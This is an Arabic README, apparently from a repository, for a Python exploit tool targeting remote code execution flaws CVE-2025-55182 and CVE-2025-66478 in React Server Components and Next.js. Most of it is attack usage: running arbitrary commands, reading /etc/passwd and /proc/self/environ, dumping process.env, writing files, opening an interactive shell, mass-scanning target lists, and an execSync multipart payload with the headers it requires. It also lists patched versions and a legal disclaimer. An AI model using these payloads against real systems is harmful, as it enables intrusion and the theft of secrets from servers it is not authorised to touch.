CVE-2025-55182 - أداة استغلال تنفيذ الأكواد عن بُعد لمكونات خادم React الإصدار 2.0
أداة بحث أمنية شاملة لاختبار الثغرات CVE-2025-55182 و CVE-2025-66478 في مكونات خادم React (RSC) وإجراءات خادم Next.js.
نظرة عامة على الثغرة
| الخاصية | القيمة |
|---|
| معرفات CVE | CVE-2025-55182, CVE-2025-66478 |
| درجة CVSS | 10.0 (حرجة) |
| الإصدارات المتأثرة | React < 19.2.0، Next.js < 15.0.5 |
| نوع الثغرة | تنفيذ الأكواد عن بُعد (RCE) |
| متجه الهجوم | الشبكة |
الميزات
- مسح للثغرات بأسلوب PortSwigger مع حمولات كشف متعددة
- أدوات استغلال RCE متعددة (execSync، spawnSync، vm.runInThisContext، إلخ)
- اختبار استدعاء خارج النطاق (OOB) للتحقق من RCE الأعمى
- إمكانية قراءة/كتابة الملفات
- تنفيذ أكواد JavaScript
- وضع شل تفاعلي
- مسح جماعي مع تعدد الخيوط
- دعم الوكيل (متوافق مع Burp Suite)
- تنسيقات إخراج JSON/نصي
التثبيت
المتطلبات
إصدار Python
بدء سريع
# فحص أساسي للثغرة
python3 exploit-custom.py -u https://target.com --check
# فحص شامل للثغرة (موصى به)
python3 exploit-custom.py -u https://target.com --scan
# مع وكيل (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# اختبار استدعاء خارج النطاق (OOB)
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com
# تنفيذ أمر
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# شل تفاعلي
python3 exploit-custom.py -u https://target.com --shell
الاستخدام
وسائط سطر الأوامر
usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
[-H HEADER] [-t THREADS] [--timeout TIMEOUT]
[--check] [--detect] [--scan] [--test-all]
[--oob HOST] [--cmd CMD] [--gadget GADGET]
[--read FILE] [--write FILE CONTENT] [--js JS]
[--shell] [-o OUTPUT] [-q]
اختيار الهدف
| الوسيطة | الوصف | مثال |
|---|
-u, --url | رابط هدف واحد | -u https://target.com |
-l, --list | ملف يحتوي على روابط | -l targets.txt |
أوضاع المسح
| الوسيطة | الوصف |
|---|
--detect | كشف استخدام Next.js/RSC |
--check | فحص سريع للثغرة (اختبار رياضي) |
|
الاستغلال
خيارات الاتصال
خيارات الإخراج
| الوسيطة | الوصف |
|---|
-o, --output | حفظ النتائج في ملف (.json أو .txt) |
-q, --quiet | إخفاء الشعار |
أمثلة المسح
هدف واحد
# كشف Next.js و RSC
python3 exploit-custom.py -u https://target.com --detect
# فحص سريع للثغرة
python3 exploit-custom.py -u https://target.com --check
# فحص شامل مع جميع حمولات الكشف
python3 exploit-custom.py -u https://target.com --scan
# اختبار جميع الأدوات مع التحقق عبر OOB
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com
المسح الجماعي
# مسح أهداف متعددة
python3 exploit-custom.py -l targets.txt --scan -o results.json
# مع زيادة الخيوط
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json
# مع استدعاءات OOB
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json
أمثلة الاستغلال
تنفيذ الأوامر
# باستخدام الأداة الافتراضية (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"
# باستخدام أداة محددة
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync
عمليات الملفات
# قراءة ملف
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ
# كتابة ملف
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"
تنفيذ JavaScript
# الحصول على متغيرات البيئة
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"
# الحصول على اسم المضيف
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"
# سرد الدليل
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"
شل تفاعلي
python3 exploit-custom.py -u https://target.com --shell
أوامر الشل:
الأدوات المتاحة
أدوات RCE
أدوات الملفات
| الاسم | معرف الوحدة | الوصف |
|---|
fs_readFileSync | fs#readFileSync | قراءة الملفات التعسفية |
fs_writeFileSync | fs#writeFileSync | كتابة الملفات التعسفية |
أدوات OOB
| الاسم | الوصف |
|---|
vm_fetch | طلب HTTP عبر واجهة fetch (Node 18+) |
vm_http | طلب HTTP عبر وحدة http |
حمولات الكشف (CVE-2025-66478)
يستخدم وضع --scan حمولات الكشف بأسلوب PortSwigger التالية:
طرق استدعاء OOB
تدعم الأداة عدة طرق لاستدعاء OOB:
تفسير الإخراج
ألوان الطرفية
نتائج المسح
[VULN] property_reference تم كشف نمط ثغرة!
-> نمط الملخص: E{"digest"... (يحتاج تحقق OOB)
[SAFE] property_reference_v2 HTTP 200
[500] action_ref_vm digest:12345
تفاصيل تقنية
تنسيق رحلة RSC
تقوم الأداة بتحليل استجابات "تنسيق الرحلة" لمكونات خادم React:
0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}
هيكل الحمولة متعددة الأجزاء
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--
رؤوس HTTP المطلوبة
Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]
الإصدارات المصححة
React
Next.js
- 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
حالات الاستخدام
مكافآت الثغرات
# 1. إعداد قائمة الأهداف
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt
# 2. مسح جماعي
python3 exploit-custom.py -l targets.txt --scan -o results.json
# 3. تحقق باستخدام OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com
اختبار الاختراق
# 1. كشف التقنية
python3 exploit-custom.py -u https://target.com --detect
# 2. تحليل باستخدام Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080
# 3. استغلال
python3 exploit-custom.py -u https://target.com --shell
المراجع
إخلاء المسؤولية القانوني
تم توفير هذه الأداة لأغراض اختبار الأمن المصرح به والتعليم فقط.
تحذير: الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. استخدم هذه الأداة فقط على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها.
المؤلفون غير مسؤولين عن أي استخدام خاطئ أو ضرر ناتج عن هذه الأداة.
الترخيص
تم إصدار هذه الأداة لأغراض البحث الأمني واختبار الاختراق المصرح به.
المؤلف: Ünsal Furkan Harani
الإصدار: 2.0